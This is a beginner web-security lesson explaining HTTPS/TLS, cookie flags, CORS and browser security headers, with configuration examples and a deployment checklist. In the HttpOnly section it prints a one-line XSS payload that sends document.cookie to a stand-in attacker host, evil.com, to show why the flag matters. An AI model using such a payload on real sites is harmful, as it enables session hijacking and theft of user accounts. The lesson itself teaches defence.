Web Security & Ethical Hacking · Lesson 1 of 23

Web Security Fundamentals — How the Web Gets Attacked

Why This Matters Before You Write Any Code

Security is not a feature you bolt on at the end. It is a property of how the web itself works. Before you touch authentication, authorization, or any kind of user data, you need to understand the plumbing — the protocols, the browser rules, and the HTTP headers that form the first line of defense.

This guide is intentionally practical. Every concept comes with a real-world example.


HTTP vs HTTPS — The Fundamental Difference

HTTP (HyperText Transfer Protocol) sends data as plain text across the network. Anyone on the same Wi-Fi network, any router in the path, or any ISP can read every byte — including passwords, session cookies, and credit card numbers.

HTTPS wraps HTTP inside TLS (Transport Layer Security). The data is encrypted before it leaves your machine. Even if someone intercepts the packets, they see scrambled bytes they cannot read.

HTTP request on public Wi-Fi:
GET /login HTTP/1.1
Authorization: Basic dXNlcjpwYXNzd29yZA==   ← this is just base64, trivially decoded

HTTPS request on public Wi-Fi (what an attacker sees):
���▓♦☺╗╔�▀x◄♦►╗...   ← TLS-encrypted, useless to the attacker

Rule: Every production website must use HTTPS. Browsers mark HTTP sites as "Not Secure". Search engines penalize them. Users distrust them.


What TLS Actually Does

TLS does three things:

  1. Encryption — the data cannot be read by anyone except the two endpoints.
  2. Integrity — the data cannot be modified in transit without detection.
  3. Authentication — you are actually talking to the real server, not an impersonator.

When your browser connects to https://example.com, a TLS handshake happens in milliseconds. The server presents a certificate — a signed document that proves its identity. Your browser checks that certificate against a list of trusted Certificate Authorities (CAs) it ships with. If the certificate is valid, the connection proceeds.

We cover TLS in depth in the HTTPS & TLS article.


Cookies — What They Are and How to Secure Them

A cookie is a small piece of data the server sends to the browser, which the browser then sends back on every subsequent request. This is how servers remember who you are between requests (HTTP itself is stateless).

HTTP
HTTP/1.1 200 OK
Set-Cookie: session_id=abc123xyz; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

There are three critical security flags every auth-related cookie must have:

HttpOnly

Prevents JavaScript from reading the cookie. Without this, a Cross-Site Scripting (XSS) attack can steal the cookie with one line:

JAVASCRIPT
// Attacker's injected script — this ONLY works if HttpOnly is missing
document.location = 'https://evil.com/steal?cookie=' + document.cookie;

With HttpOnly, document.cookie does not include that cookie. Theft blocked.

Secure

Tells the browser to only send this cookie over HTTPS connections. Without it, the cookie can be transmitted in plain text over HTTP — even if your site normally uses HTTPS, a network attacker can downgrade the connection.

SameSite

Controls whether the cookie is sent on cross-site requests. This prevents Cross-Site Request Forgery (CSRF) attacks.

| Value | Behavior | |-------|----------| | Strict | Cookie only sent if the request originates from your own site. Safest. | | Lax | Cookie sent on same-site requests and top-level navigations. Good default. | | None | Cookie sent on all requests (requires Secure). Needed for third-party auth flows. |

Safe default for session cookies: HttpOnly; Secure; SameSite=Lax


CORS — Cross-Origin Resource Sharing

The Problem CORS Solves

Imagine your frontend at https://app.example.com wants to fetch data from https://api.example.com. Those are different origins (different subdomain). By default, the browser blocks that request. This is the Same-Origin Policy in action.

CORS is the mechanism that lets servers opt in to allowing cross-origin requests — in a controlled way.

What "Origin" Means

An origin is the combination of scheme + host + port:

https://example.com:443  →  origin A
http://example.com:443   →  different origin (different scheme)
https://api.example.com  →  different origin (different host)
https://example.com:8080 →  different origin (different port)

How CORS Works

For simple GET requests, the browser adds an Origin header. The server responds with Access-Control-Allow-Origin. If the origins match (or the server says *), the browser lets the response through.

For "complex" requests (POST with JSON, custom headers, DELETE, etc.), the browser sends a preflight OPTIONS request first:

OPTIONS /api/users HTTP/1.1
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 86400

The Security Rule

Never set Access-Control-Allow-Origin: * for endpoints that handle authentication or sensitive data. Wildcard allows any origin. Use an explicit allowlist of trusted origins.

C#
// ASP.NET Core — correct approach
builder.Services.AddCors(options =>
{
    options.AddPolicy("AllowFrontend", policy =>
        policy.WithOrigins("https://app.example.com")
              .AllowAnyMethod()
              .AllowAnyHeader()
              .AllowCredentials()); // required for cookies
});

Security Headers — Your Last Line of Browser Defense

Security headers are HTTP response headers that tell the browser how to behave. They stop entire categories of attack.

Content-Security-Policy (CSP)

Tells the browser which sources of scripts, styles, images, and other resources are trusted. Defeats most XSS attacks even if an attacker injects a <script> tag.

HTTP
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:;
  • default-src 'self' — only load resources from your own origin by default
  • script-src 'self' — only execute scripts from your own origin (no inline scripts, no eval)
  • Adding a CDN to script-src allows scripts from that CDN specifically

Start with a strict policy and loosen only what you need.

X-Frame-Options

Prevents your page from being embedded in an <iframe> on another site. Without this, attackers can overlay your page with invisible frames to trick users into clicking buttons (clickjacking).

HTTP
X-Frame-Options: DENY

Or use the newer CSP equivalent: Content-Security-Policy: frame-ancestors 'none';

X-Content-Type-Options

Tells the browser not to guess (sniff) the content type of responses. Without this, a browser might execute a file uploaded as an image if it looks like JavaScript.

HTTP
X-Content-Type-Options: nosniff

Always set this. There is no reason not to.

Strict-Transport-Security (HSTS)

Tells the browser to always use HTTPS for your domain — even if someone types http://. The browser will upgrade the request before it leaves the machine.

HTTP
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • max-age=31536000 — remember for one year
  • includeSubDomains — apply to all subdomains too
  • preload — submit your domain to the HSTS preload list (browsers ship with it)

Referrer-Policy

Controls what URL is sent in the Referer header when a user clicks a link to leave your site. Prevents leaking sensitive paths or query parameters.

HTTP
Referrer-Policy: strict-origin-when-cross-origin

Using DevTools to Inspect All of This

Open Chrome or Firefox DevTools (F12) and use these tabs:

Network tab:

  • Click any request and look at the Headers subtab
  • Request Headers: see Origin, Cookie, Referer
  • Response Headers: see Set-Cookie, Content-Security-Policy, Strict-Transport-Security, Access-Control-Allow-Origin

Application tab (Chrome) / Storage tab (Firefox):

  • Cookies: see all cookies for the domain, including their flags (HttpOnly shows as a checkbox)

Security tab (Chrome):

  • Shows the TLS certificate details, protocol version, and cipher suite used

Console:

  • CORS errors appear here as red messages when the browser blocks a cross-origin request
  • CSP violations appear as warnings showing what was blocked and why

Quick Reference Checklist

Before you ship any feature involving user data:

  • [ ] Site serves over HTTPS only (no HTTP fallback for sensitive paths)
  • [ ] Session cookies have HttpOnly, Secure, SameSite=Lax (or Strict)
  • [ ] CORS allows only known, trusted origins — no wildcard for authenticated endpoints
  • [ ] Content-Security-Policy header is set and tested
  • [ ] X-Frame-Options: DENY or CSP frame-ancestors is set
  • [ ] X-Content-Type-Options: nosniff is set
  • [ ] Strict-Transport-Security is set with a reasonable max-age
  • [ ] Referrer-Policy is set to avoid leaking URLs

These seven checks cost minutes and prevent entire categories of attack. Make them part of every deployment.